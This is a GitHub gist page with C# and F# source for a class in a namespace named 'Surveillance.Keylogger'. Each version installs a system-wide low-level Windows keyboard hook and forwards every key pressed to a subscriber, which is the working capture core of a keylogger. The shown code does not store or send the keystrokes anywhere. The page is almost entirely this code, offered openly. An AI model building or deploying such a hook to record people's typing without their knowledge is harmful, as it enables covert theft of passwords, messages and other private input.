Skip to content

Instantly share code, notes, and snippets.

@AlexArchive
Last active August 29, 2015 14:07
Show Gist options
  • Save AlexArchive/0ebc1e4ce1a60e35820a to your computer and use it in GitHub Desktop.
Save AlexArchive/0ebc1e4ce1a60e35820a to your computer and use it in GitHub Desktop.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Surveillance
{
public class Keyboard : IObservable<Keys>, IDisposable
{
private IntPtr callbackHandle;
private IObserver<Keys> observer;
public IDisposable Subscribe(IObserver<Keys> observer)
{
this.observer = observer;
callbackHandle = NativeMethods.SetWindowsHookEx(13, Callback, GetProcessHandle(), 0);
return this;
}
private IntPtr Callback(int hookCode, IntPtr wParam, IntPtr lParam)
{
if (hookCode >= 0 && wParam == (IntPtr) 0x0100)
{
var keyCode = Marshal.ReadInt32(lParam);
var key = (Keys) keyCode;
observer.OnNext(key);
}
return NativeMethods.CallNextHookEx(callbackHandle, hookCode, wParam, lParam);
}
public void Dispose()
{
NativeMethods.UnhookWindowsHookEx(callbackHandle);
observer.OnCompleted();
}
private static IntPtr GetProcessHandle()
{
using (var process = Process.GetCurrentProcess())
using (var module = process.MainModule)
return NativeMethods.GetModuleHandle(module.ModuleName);
}
}
}
namespace Surveillance.Keylogger
open System
open System.Diagnostics
open System.Windows.Forms
open System.Runtime.InteropServices
type Keyboard() =
let GetProcessHandle() : nativeint =
use currentProcess = Process.GetCurrentProcess()
use mainModule = currentProcess.MainModule
NativeMethods.GetModuleHandle(mainModule.ModuleName)
let mutable handle = IntPtr.Zero
interface IObservable<Keys> with
member this.Subscribe observer =
handle <- NativeMethods.SetWindowsHookEx(
13,
new NativeMethods.HookCallback(fun hookCode wParam lParam ->
if hookCode >= 0 && wParam = (nativeint) 0x0100 then
let keyCode = Marshal.ReadInt32(lParam)
observer.OnNext (enum<Keys> keyCode)
NativeMethods.CallNextHookEx(handle, hookCode, wParam, lParam)),
GetProcessHandle(),
0)
{ new IDisposable with
member this.Dispose() =
NativeMethods.UnhookWindowsHookEx(handle) |> ignore }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment